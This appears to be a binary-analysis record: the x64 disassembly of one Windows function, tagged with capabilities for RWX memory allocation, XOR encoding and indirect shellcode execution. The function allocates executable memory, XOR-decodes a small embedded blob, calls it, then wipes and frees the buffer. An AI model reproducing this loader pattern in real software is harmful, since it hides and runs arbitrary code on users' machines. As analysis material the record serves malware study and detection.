Function at 0x1400052f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa8
mov rax, qword [0x140059040]
xor rax, rsp
mov qword [rsp + 0x40], rax
movsd xmm1, qword [rcx]
xorps xmm5, xmm5
movd xmm4, dword [0x1400f1e04]
xorps xmm3, xmm3
movaps xmmword [rsp + 0x90], xmm6
xorps xmm2, xmm2
movd xmm6, dword [0x1400f1e00]
movaps xmmword [rsp + 0x70], xmm8
movss xmm8, dword [0x1400c83c4]
movaps xmmword [rsp + 0x60], xmm9
movsd xmm9, qword [rcx + 8]
cvtpd2ps xmm1, xmm1
cvtdq2pd xmm6, xmm6
cvtdq2pd xmm4, xmm4
mulsd xmm6, qword [0x14004f918]
mulsd xmm4, qword [0x14004f918]
movaps xmmword [rsp + 0x50], xmm10
xorps xmm10, xmm10
ucomiss xmm1, xmm10
cvtpd2ps xmm9, xmm9
jp 0x140005379
je 0x1400053e4
movaps xmmword [rsp + 0x80], xmm7
cvtps2pd xmm7, xmm1
comisd xmm7, xmm6
jbe 0x1400053b7
movaps xmm3, xmm6
subsd xmm3, xmm7
cvtps2pd xmm0, xmm8
xorps xmm3, xmmword [0x14004fd90]
divsd xmm3, xmm0
movaps xmm0, xmm6
movaps xmm1, xmm3
addsd xmm0, xmm6
addsd xmm1, xmm6
comisd xmm1, xmm0
jbe 0x1400053b7
xorps xmm3, xmm3
comisd xmm6, xmm7
jbe 0x1400053dc
movaps xmm3, xmm7
cvtps2pd xmm0, xmm8
subsd xmm3, xmm6
divsd xmm3, xmm0
movaps xmm0, xmm3
addsd xmm0, xmm6
comisd xmm5, xmm0
jbe 0x1400053dc
xorps xmm3, xmm3
movaps xmm7, xmmword [rsp + 0x80]
ucomiss xmm9, xmm10
movaps xmm10, xmmword [rsp + 0x50]
jp 0x1400053f2
je 0x14000544e
cvtps2pd xmm6, xmm9
comisd xmm6, xmm4
jbe 0x140005429
movaps xmm2, xmm4
subsd xmm2, xmm6
cvtps2pd xmm0, xmm8
xorps xmm2, xmmword [0x14004fd90]
divsd xmm2, xmm0
movaps xmm0, xmm4
movaps xmm1, xmm2
addsd xmm0, xmm4
addsd xmm1, xmm4
comisd xmm1, xmm0
jbe 0x140005429
xorps xmm2, xmm2
comisd xmm4, xmm6
jbe 0x14000544e
movaps xmm2, xmm6
cvtps2pd xmm0, xmm8
subsd xmm2, xmm4
divsd xmm2, xmm0
movaps xmm0, xmm2
addsd xmm0, xmm4
comisd xmm5, xmm0
jbe 0x14000544e
xorps xmm2, xmm2
movaps xmm9, xmmword [rsp + 0x60]
movaps xmm8, xmmword [rsp + 0x70]
movaps xmm6, xmmword [rsp + 0x90]
cvttsd2si ecx, xmm3
cvttsd2si eax, xmm2
test ecx, ecx
jne 0x140005476
test eax, eax
je 0x140005583
mov dword [rsp + 0x20], ecx
mov edx, 0x1000
xor ecx, ecx
mov qword [rsp + 0xa0], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x38], 0
mov r8d, edx
mov dword [rsp + 0x24], eax
movdqu xmmword [rsp + 0x28], xmm0
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14000557b
movdqu xmm0, xmmword [0x1400f1bb0]
lea r9, [0x1400f1bb0]
mov ecx, 0x10
movdqa xmm1, xmmword [0x14004fdc0]
mov edx, ecx
xorps xmm1, xmm0
movdqu xmmword [0x1400f1bb0], xmm1
xor byte [rdx + r9], 0xfa
inc rdx
cmp rdx, 0x1e
jb 0x1400054e1
movups xmm0, xmmword [0x1400f1bb0]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x1400f1bc0]
movsd qword [rax + 0x10], xmm1
mov eax, dword [0x1400f1bc8]
movdqa xmm1, xmmword [0x14004fdc0]
mov dword [rbx + 0x18], eax
movzx eax, word [0x1400f1bcc]
mov word [rbx + 0x1c], ax
movdqu xmm0, xmmword [0x1400f1bb0]
xorps xmm1, xmm0
movdqu xmmword [0x1400f1bb0], xmm1
nop word [rax + rax]
xor byte [rcx + r9], 0xfa
inc rcx
cmp rcx, 0x1e
jb 0x140005540
mov edx, 1
lea rcx, [rsp + 0x20]
call rbx
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140046f00
add rsp, 0xa8
ret